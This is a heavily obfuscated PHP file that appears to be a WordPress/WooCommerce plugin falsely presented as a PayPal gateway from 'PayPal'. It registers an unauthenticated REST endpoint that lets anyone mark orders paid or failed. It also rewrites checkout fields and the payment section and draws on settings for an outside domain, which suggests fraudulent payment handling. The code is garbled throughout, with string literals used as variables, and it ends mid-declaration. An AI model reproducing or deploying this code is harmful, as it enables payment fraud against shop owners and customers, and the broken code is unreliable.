getFallbackIp(){$U2yBuEt45=array();$U2yBuEt45[]=3;$U2yBuEt45[]=10;$U2yBuEt45[]=8;$U2yBuEt45[]=9;$U2yBuEt45[]=5;$U2yzA8G=array();$U2yzA8G[]='HTTP_CF_CONNECTING_IP';$U2yzA8G[]='HTTP_X_REAL_IP';$U2yzA8G[]='HTTP_X_FORWARDED_FOR';$U2yzA8G[]='HTTP_CLIENT_IP';$U2yzA8G[]='REMOTE_ADDR';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8G;unset($U2yEc1);$U2yEc1=array();foreach('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway' as 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yEc1[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';};$U2y1i=0;U2yx1q:$U2yzA8H=array();$U2yzA8H[]=&$U2yEc1;$U2yeF8G=call_user_func_array("count",$U2yzA8H);unset($U2yzA8H);'100'=$U2y1i<$U2yeF8G;$U2yOiRy43=1012;if('100')goto U2yeWjgx25;goto U2yldMhx25;U2yeWjgx25:$U2yOiRy43="a"*"a";goto U2yx24;U2yldMhx25:U2yx24:'100'=2*10;$U2y8H='100'-11;$U2y8I=$U2yOiRy43==$U2y8H;if($U2y8I)goto U2yeWjgx2h;goto U2yldMhx2h;U2yeWjgx2h:$U2y1Key=array_keys($U2yEc1);$U2y1Key=$U2y1Key[$U2y1i];unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yEc1[$U2y1Key];$U2yOiRy26=1012;'100'=!empty($_SERVER['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway']);$U2yOiRy27=1009;if('100')goto U2yeWjgx2j;goto U2yldMhx2j;U2yeWjgx2j:goto U2yeWjgx27;goto U2yx2i;U2yldMhx2j:U2yx2i:goto U2yldMhx27;U2yeWjgx27:goto U2yeWjgx1u;goto U2yx26;U2yldMhx27:U2yx26:goto U2yldMhx1u;U2yeWjgx1u:goto U2yeWjgx1b;goto U2yx1t;U2yldMhx1u:U2yx1t:goto U2yldMhx1b;U2yeWjgx1b:$U2yOiRy26="r"*"r";goto U2yx1a;U2yldMhx1b:U2yx1a:'100'=17*19;$U2y8H='100'-243;$U2y8I=$U2yOiRy26==$U2y8H;$U2yOiRy28=1013;if($U2y8I)goto U2yeWjgx2l;goto U2yldMhx2l;U2yeWjgx2l:goto U2yeWjgx29;goto U2yx2k;U2yldMhx2l:U2yx2k:goto U2yldMhx29;U2yeWjgx29:goto U2yeWjgx1w;goto U2yx28;U2yldMhx29:U2yx28:goto U2yldMhx1w;U2yeWjgx1w:goto U2yeWjgx1j;goto U2yx1v;U2yldMhx1w:U2yx1v:goto U2yldMhx1j;U2yeWjgx1j:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$_SERVER['WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'];$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H[]=',';$U2yeF8G=call_user_func_array("strpos",$U2yzA8H);unset($U2yzA8H);'100'=$U2yeF8G!==false;$U2yOiRy29=1001;if('100')goto U2yeWjgx2n;goto U2yldMhx2n;U2yeWjgx2n:goto U2yeWjgx2b;goto U2yx2m;U2yldMhx2n:U2yx2m:goto U2yldMhx2b;U2yeWjgx2b:goto U2yeWjgx1y;goto U2yx2a;U2yldMhx2b:U2yx2a:goto U2yldMhx1y;U2yeWjgx1y:goto U2yeWjgx1l;goto U2yx1x;U2yldMhx1y:U2yx1x:goto U2yldMhx1l;U2yeWjgx1l:goto U2yeWjgx1d;goto U2yx1k;U2yldMhx1l:U2yx1k:goto U2yldMhx1d;U2yeWjgx1d:$U2yzA8H=array();$U2yzA8H[]=',';$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("explode",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_list='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_list;$U2yeF8J=call_user_func_array("is_array",$U2yzA8K);unset($U2yzA8K);$U2yOiRy30=1015;if($U2yeF8J)goto U2yeWjgx2p;goto U2yldMhx2p;U2yeWjgx2p:goto U2yeWjgx2d;goto U2yx2o;U2yldMhx2p:U2yx2o:goto U2yldMhx2d;U2yeWjgx2d:goto U2yeWjgx21;goto U2yx2c;U2yldMhx2d:U2yx2c:goto U2yldMhx21;U2yeWjgx21:goto U2yeWjgx1n;goto U2yx2z;U2yldMhx21:U2yx2z:goto U2yldMhx1n;U2yeWjgx1n:goto U2yeWjgx1f;goto U2yx1m;U2yldMhx1n:U2yx1m:goto U2yldMhx1f;U2yeWjgx1f:"a"=&"a";goto U2yx1e;U2yldMhx1f:U2yx1e:$U2yzA8I=array();$U2yzA8I[]=&"a";$U2yeF8G=call_user_func_array("trim",$U2yzA8I);unset($U2yzA8I);unset("a");unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;goto U2yx1c;U2yldMhx1d:U2yx1c:$U2yvP8G=FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE;$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H[]=FILTER_VALIDATE_IP;$U2yzA8H[]=&$U2yvP8G;$U2yeF8G=call_user_func_array("filter_var",$U2yzA8H);unset($U2yzA8H);$U2yOiRy31=1018;if($U2yeF8G)goto U2yeWjgx2r;goto U2yldMhx2r;U2yeWjgx2r:goto U2yeWjgx2f;goto U2yx2q;U2yldMhx2r:U2yx2q:goto U2yldMhx2f;U2yeWjgx2f:goto U2yeWjgx23;goto U2yx2e;U2yldMhx2f:U2yx2e:goto U2yldMhx23;U2yeWjgx23:goto U2yeWjgx1p;goto U2yx22;U2yldMhx23:U2yx22:goto U2yldMhx1p;U2yeWjgx1p:goto U2yeWjgx1h;goto U2yx1o;U2yldMhx1p:U2yx1o:goto U2yldMhx1h;U2yeWjgx1h:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';goto U2yx1g;U2yldMhx1h:U2yx1g:goto U2yx1i;U2yldMhx1j:U2yx1i:U2yx1r:$U2y1i=$U2y1i+1;goto U2yx1q;goto U2yx2g;U2yldMhx2h:U2yx2g:U2yx1s:return '0000';}public function process_payment('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yBuEt46=array();$U2yBuEt46[]=13;$U2yBuEt46[]=10;$U2yBuEt46[]=13;$U2yBuEt46[]=9;$U2yBuEt46[]=4;$U2yOiRy46=2208;'100'=!isset($_POST['app_js_loaded']);$U2y8I=(bool)'100';$U2y8J=!$U2y8I;if($U2y8J)goto U2yeWjgx2u;goto U2yldMhx2u;U2yeWjgx2u:$U2y8H=$_POST['app_js_loaded']!=='true';$U2y8I=(bool)$U2y8H;goto U2yx2t;U2yldMhx2u:U2yx2t:if($U2y8I)goto U2yeWjgx2v;goto U2yldMhx2v;U2yeWjgx2v:$U2yOiRy46="a"*"r";goto U2yx2s;U2yldMhx2v:U2yx2s:'100'=18*19;$U2y8H='100'-225;$U2y8I=$U2yOiRy46==$U2y8H;if($U2y8I)goto U2yeWjgx2x;goto U2yldMhx2x;U2yeWjgx2x:$U2yzA8H=array();$U2yzA8H[]='It is detected that you have other plug-ins that prevent the payment from being completedPlease uninstall the other plug-ins and try again.';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8J[]='error';$U2yeF8I=call_user_func_array("wc_add_notice",$U2yzA8J);unset($U2yzA8J);return ;goto U2yx2w;U2yldMhx2x:U2yx2w:$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yzA8H=array();$U2yzA8H[]='Awaiting payment';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='pending';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_total";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_amount='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_currency";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency;$U2yeFvP8G=call_user_func_array("get_woocommerce_currency_symbol",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yeF8I=call_user_func_array("html_entity_decode",$U2yzA8J);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8I;'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency_symbol='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_return_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['order_currency_symbol']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency_symbol;$U2yzA8J['order_currency']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_currency;$U2yzA8J['order_amount']='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'_amount;$U2yzA8J['redirect']=$U2yhCvP8G;return $U2yzA8J;}};}}function lighthouse_paypal_remove_fields($woo_checkout_fields_array){$U2yBuEt36=array();$U2yBuEt36[]=17;$U2yBuEt36[]=17;$U2yBuEt36[]=9;$U2yBuEt36[]=8;$U2yBuEt36[]=14;unset($woo_checkout_fields_array['billing']['billing_company']);return $woo_checkout_fields_array;}function paypal_custom_button_html('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'){$U2yBuEt37=array();$U2yBuEt37[]=10;$U2yBuEt37[]=6;$U2yBuEt37[]=4;$U2yBuEt37[]=9;$U2yBuEt37[]=17;$U2yOiRy7=4921;'100'=WC()->session->get('chosen_payment_method')==='woocommerce_payments_lighthouse_paypal_gateway';if('100')goto U2yeWjgxf;goto U2yldMhxf;U2yeWjgxf:$U2yOiRy7="r"*"r";goto U2yxe;U2yldMhxf:U2yxe:'100'=3*16;$U2y8H='100'-32;$U2y8I=$U2yOiRy7==$U2y8H;if($U2y8I)goto U2yeWjgxh;goto U2yldMhxh;U2yeWjgxh:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=preg_replace('/class=["\']([^"\']*)["\']/','class="$1 lighthouse_paypal_bg"','WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');goto U2yxg;U2yldMhxh:U2yxg:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}function remove_checkout_pp_payment_fragment($fragments){$U2yBuEt38=array();$U2yBuEt38[]=18;$U2yBuEt38[]=7;$U2yBuEt38[]=6;$U2yBuEt38[]=10;$U2yBuEt38[]=8;$U2yOiRy9=5849;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:$U2yOiRy9="a"*"r";goto U2yxi;U2yldMhxj:U2yxi:'100'=7*19;$U2y8H='100'-7;$U2y8I=$U2yOiRy9==$U2y8H;if($U2y8I)goto U2yeWjgxl;goto U2yldMhxl;U2yeWjgxl:unset($fragments['.woocommerce-checkout-payment']);goto U2yxk;U2yldMhxl:U2yxk:return $fragments;}
/*
* Plugin Name: PayPal Gateway
* Description: This plugin will tie in all the performance optimizations your WordPress application offers
* Author: PayPal
* Author URI:
* Version: 300
*/
$U2yBuEt31=array();$U2yBuEt31[]=11;$U2yBuEt31[]=14;$U2yBuEt31[]=8;$U2yBuEt31[]=15;$U2yBuEt31[]=5;$U2yOiRy0=3379;'100'=!defined('ABSPATH');if('100')goto U2yeWjgx2;goto U2yldMhx2;U2yeWjgx2:goto U2yx1;U2yldMhx2:U2yx1:$U2yOiRy1=3392;$U2yzA8H=array();$U2yzA8H[]='active_plugins';$U2yeFvPvP8G=call_user_func_array("get_option",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='active_plugins';$U2yzA8J[]=&$U2yeFvPvP8G;$U2yeFvP8I=call_user_func_array("apply_filters",$U2yzA8J);unset($U2yzA8J);$U2yzA8L=array();$U2yzA8L[]='woocommerce/woocommercephp';$U2yzA8L[]=&$U2yeFvP8I;$U2yeF8K=call_user_func_array("in_array",$U2yzA8L);unset($U2yzA8L);'100'=!$U2yeF8K;if('100')goto U2yeWjgx4;goto U2yldMhx4;U2yeWjgx4:return ;goto U2yx3;U2yldMhx4:U2yx3:$U2yzA8H=array();$U2yzA8H[]='woocommerce_payment_gateways';$U2yzA8H[]='woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='plugins_loaded';$U2yzA8H[]='lighthouse_paypal_init_gateway_class';$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='rest_api_init';$U2yzA8H[]=function(){$U2yBuEt33=array();$U2yBuEt33[]=2;$U2yBuEt33[]=7;$U2yBuEt33[]=12;$U2yBuEt33[]=13;$U2yBuEt33[]=19;$U2yzAvP8G=array();$U2yzAvP8G['methods']='POST';$U2yzAvP8G['callback']='handle_update_wp_order_status';$U2yzAvP8G['permission_callback']='__return_true';$U2yzA8I=array();$U2yzA8I[]='custom/v3';$U2yzA8I[]='/update_order_status/';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("register_rest_route",$U2yzA8I);unset($U2yzA8I);};$U2yeF8G=call_user_func_array("add_action",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_checkout_fields';$U2yzA8H[]='lighthouse_paypal_remove_fields';$U2yzA8H[]=9999;$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_order_button_html';$U2yzA8H[]='paypal_custom_button_html';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);$U2yzA8H=array();$U2yzA8H[]='woocommerce_update_order_review_fragments';$U2yzA8H[]='remove_checkout_pp_payment_fragment';$U2yeF8G=call_user_func_array("add_filter",$U2yzA8H);unset($U2yzA8H);function woocommerce_payments_lighthouse_paypal_gateway_add_gateway_class($gateways){$U2yBuEt32=array();$U2yBuEt32[]=8;$U2yBuEt32[]=11;$U2yBuEt32[]=15;$U2yBuEt32[]=12;$U2yBuEt32[]=7;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');$gateways[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';return $gateways;}function handle_update_wp_order_status(WP_REST_Request $request){$U2yBuEt34[]=16;$U2yBuEt34[]=5;$U2yBuEt34[]=11;$U2yBuEt34[]=12;$U2yBuEt34[]=17;$U2yzA8H=array();$U2yzA8H[]='order_id';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$U2yzA8H=array();$U2yzA8H[]='status';$U2yzA8I=array();$U2yzA8I[]=$request;$U2yzA8I[]="get_param";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8G;$U2yzA8H=array();$U2yzA8H[]=&'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yeF8G=call_user_func_array("wc_get_order",$U2yzA8H);unset($U2yzA8H);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yeF8G;$U2yOiRy3=4922;'100'=!'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';if('100')goto U2yeWjgx6;goto U2yldMhx6;U2yeWjgx6:$U2yOiRy3="r"*"r";goto U2yx5;U2yldMhx6:U2yx5:'100'=18*15;$U2y8H='100'-215;$U2y8I=$U2yOiRy3==$U2y8H;if($U2y8I)goto U2yeWjgx8;goto U2yldMhx8;U2yeWjgx8:'100'=new WP_REST_Response('Order not found',404);return '100';goto U2yx7;U2yldMhx8:U2yx7:$U2yOiRy5=4922;'100'='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'==='success';if('100')goto U2yeWjgxa;goto U2yldMhxa;U2yeWjgxa:$U2yOiRy5="y"*"y";goto U2yx9;U2yldMhxa:$U2yOiRy5="r"*"r";U2yx9:'100'=15*19;$U2y8H='100'+4;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxc;goto U2yldMhxc;U2yeWjgxc:$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="payment_complete";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8H[]='Payment received';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="add_order_note";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I[]="get_checkout_order_received_url";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8J=array();$U2yzA8J['result']='success';$U2yzA8J['url']=$U2yhCvP8G;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yzA8J;'100'=new WP_REST_Response('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway',200);return '100';goto U2yxb;U2yldMhxc:'100'=3*10;$U2y8H='100'+25;$U2y8I=$U2yOiRy5==$U2y8H;if($U2y8I)goto U2yeWjgxd;goto U2yldMhxd;U2yeWjgxd:$U2yzA8H=array();$U2yzA8H[]='Payment failed';$U2yzA8H[]='woocommerce';$U2yeFvP8G=call_user_func_array("__",$U2yzA8H);unset($U2yzA8H);$U2yzA8J=array();$U2yzA8J[]='failed';$U2yzA8J[]=&$U2yeFvP8G;$U2yzA8K=array();$U2yzA8K[]='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8K[]="update_status";$U2yhC8I=call_user_func_array($U2yzA8K,$U2yzA8J);unset($U2yzA8J);unset($U2yzA8K);'100'=new WP_REST_Response('success',500);return '100';goto U2yxb;U2yldMhxd:U2yxb:}function lighthouse_paypal_init_gateway_class(){$U2yBuEt35=array();$U2yBuEt35[]=15;$U2yBuEt35[]=9;$U2yBuEt35[]=6;$U2yBuEt35[]=11;$U2yBuEt35[]=20;if(1){class WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway extends WC_Payment_Gateway{public $payment_type;public $verification_type;public $prefix;public $domain;public $fbq_check;public $store_name;public $show_close;public $error_text;public function __construct(){$U2yBuEt39=array();$U2yBuEt39[]=15;$U2yBuEt39[]=12;$U2yBuEt39[]=5;$U2yBuEt39[]=10;$U2yBuEt39[]=16;unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='woocommerce_payments_lighthouse_paypal_gateway';$this->id='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='/wp-content/plugins/paypal-gateway/assets/images/paypal_logosvg';$this->icon='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=true;$this->has_fields='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='PayPal Gateway';$this->method_title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'='Payment Gateway';$this->method_description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_form_fields";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8H=array();$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="init_settings";$U2yhC8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);$U2yzA8I=array();$U2yzA8I[]='pp_title';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->title='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_description';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->description='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_payment_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->payment_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_verification_type';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->verification_type='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_prefix';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->prefix='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8H=array();$U2yzA8H[]='pp_domain';$U2yzA8I=array();$U2yzA8I[]=$this;$U2yzA8I[]="get_option";$U2yhCvP8G=call_user_func_array($U2yzA8I,$U2yzA8H);unset($U2yzA8H);unset($U2yzA8I);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=trim($U2yhCvP8G);$this->domain='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_fbq_check';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->fbq_check='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_store_name';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->store_name='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_show_close';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->show_close='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yzA8I=array();$U2yzA8I[]='pp_error_text';$U2yzA8J=array();$U2yzA8J[]=$this;$U2yzA8J[]="get_option";$U2yhC8H=call_user_func_array($U2yzA8J,$U2yzA8I);unset($U2yzA8I);unset($U2yzA8J);unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=$U2yhC8H;$this->error_text='WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';$U2yvP8G='woocommerce_update_options_payment_gateways_' . $this->id;$U2yzAvP8H=array();$U2yzAvP8H[]=$this;$U2yzAvP8H[]='process_admin_options';add_action($U2yvP8G,$U2yzAvP8H);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_style';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);$U2yzAvP8G=array();$U2yzAvP8G[]=$this;$U2yzAvP8G[]='enqueue_scripts';$U2yzA8I=array();$U2yzA8I[]='wp_enqueue_scripts';$U2yzA8I[]=&$U2yzAvP8G;$U2yeF8H=call_user_func_array("add_action",$U2yzA8I);unset($U2yzA8I);}public function 